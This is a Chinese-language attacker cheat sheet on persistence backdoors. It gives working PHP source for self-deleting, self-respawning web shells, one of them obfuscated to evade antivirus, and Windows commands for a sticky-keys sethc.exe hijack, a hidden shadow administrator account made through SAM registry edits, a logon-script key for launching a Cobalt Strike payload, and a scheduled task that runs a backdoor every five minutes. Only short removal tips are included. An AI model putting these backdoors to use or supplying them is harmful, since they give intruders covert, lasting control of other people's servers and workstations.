内存马(不死马)
最常见的内存马
<?php
set_time_limit(0); #用来设置脚本最大的执行时间,如果为0的话,就会一直执行这个脚本,设置其他数字的话,则按照设置的秒数来进行执行,注意,执行时间和php.ini里的max_execution_time设置有很大的关系,真实时间的计算公式是max_execution_time+time
ignore_user_abort(1); #当链接断开,继续执行
unlink(__FILE__); #删除当前文件
while (1) {
$content = '<?php @eval($_POST["zzz"]) ?>';
file_put_contents("config.php", $content); #创建文件,写入内容
usleep(10000); #延迟执行
}
?>
免杀内存马
采用了拼接,旋转,加密解密的手法进行隐藏,并且自定义函数,配合变量替换,成功对绕过进行免杀
因为创建了类,所以这个内存马,暂时只支持5.3以上的高级php版本
运行后将持续创建log.php
可更改yourcode自定义写入log.php文件内容
<?php
static $time =10000 ;
static $yourcode = 'Cjw/cGhwIGV2YWwoJF9QT1NUW2NdKTs/Pg=='; //bypass
header("Content-Type: text/html; charset=utf-8");
function EasyTo($myfile,$author){
fwrite($myfile,$author);
return Fread($myfile,"111");
}
class FileRead{
function __construct($read,$num){
$a = 1;
if ($num != Null)
$a = strlen($num);
print Fread($read,$a);
}
function test(){
echo "<br>"."ok\n";
}
function eb($yijufa){
$b = "_46esab";
$e = "edocne";
$eb = srv($e.$b);
return $eb($yijufa);
}
function db($jiekai){
$c = "_46esab";
$a = "edoced";
$db = srv($a.$c);
return $db($jiekai);
}
function zhixing($hiddden){
$ss = "ss";
$tt = "tt";
$yy = "yy";
$ee = "em";
$db = srv($ss[1].$yy[1].$ss[0]).srv($ee[1].$ee[0].$tt[0]);
return $db($hiddden);
}
}
function srv($str){
$new_str = "";
for ($i = strlen($str)-1;$i >= 0; $i--){
$new_str .= $str{$i};
}
return $new_str;
}
ignore_user_abort(true);
set_time_limit($time);
while(1)
{
$clear = fopen("log.php", "r");
fgets($clear);
echo $tmp = "\n".fgets($clear);
$myfile = fopen("log.php ", "a+");
$a = $myfile;
$b = new FileRead($a,"asdasdasdasdasdasd");
$t = date('Y-M-D H:i:s',time());
$tt = $b->eb($t);
unlink(__FILE__);
$code = $yourcode;
if(md5($tmp)===md5($b->db($code)))
{
echo md5($tmp)."\n";
echo md5($b->db($code));
}
else
EasyTo($a,$b->db($tt.$code));
echo $b->zhixing(srv("birtta")." +s +h log.php");
fclose($clear);
fclose($myfile);
usleep(5000000);
}
?>
防御方式
1,创建同名文件夹
rm config.php & mkdir config.php
2,条件竞争
3,kill杀进程
kill -9 -1 #杀掉当前用户下的所有进程
shift后门
创建shift粘贴键后门
粘滞键的启动程序在C盘的Windows/system32目录下为sethc.exe。所以我们打开注册表,定位到以下路径:
HKEY_LOCAL_MACHINE\ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Image File ExecutionOption
在目录中新建一个sethc.exe的子项,并添加一个新键debugger,debugger的对应键值为后门木马的路径,这里我用cmd路径代替一下。
cmd路径:C:\Windows\system32\cmd.exe
shift粘贴键后门创建完成之后,在锁屏状态下连按次shift粘贴键,C:\Windows\system32\cmd.exe文件运行,弹出命令行。
通过命令行的话需要知道sethc文件位置
粘滞键位置:c:\windows\system32\sethc.exe
move sethc.exe sethc1.exe
copy cmd.exe sethc.exe
影子账号
1.使用如下命令创建隐藏用户并加入管理员组
net user test$ 123456 /add
net localgroup administrators test$ /add
创建成功后使用net user命令无法查看到此用户,但是在计算机管理页面中还是可以看到,需要通过修改注册表来隐藏。
打开注册表(HKEY_LOCAL_MACHINE\SAM\SAM)
修改SAM权限,赋予adminitrators完全控制权限。
将Administrator用户对应项的F数据值复制到test$用户对应项的F数据值。
将test$和所对应项000003F1导出,分别命名为test.reg和1.reg
删除test$用户,将test.reg和1.reg导入注册表
net user test$ /delregedit /s test.regregedit /s 1.reg
此时在用户组已经看不到test$用户,只能在注册表中能看到。
删除方式
net user test$ /del
虽然net user不能显示影子账号,但是wmic useraccount get Name会显示
wmic useraccount get Name
也可以通过计算机管理 -> 本地用户和组 中直接删除
logon scripts后门
Windows登录脚本,当用户登录时触发,Logon Scripts能够优先于杀毒软件执行,绕过杀毒软件对敏感操作的拦截。
注册表位置:HKEY_CURRENT_USER\Environment
常用来上线cs
REG ADD "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\666.exe"
#创建键为:UserInitMprLogonScript,其键值为我们要启动的程序路径
计划任务后门
schtasks命令设定计划自动启动后门程序。
schtasks /Create /tn Updater /tr c:\666.exe /sc minute /mo 5 #每5分钟自动执行666.exe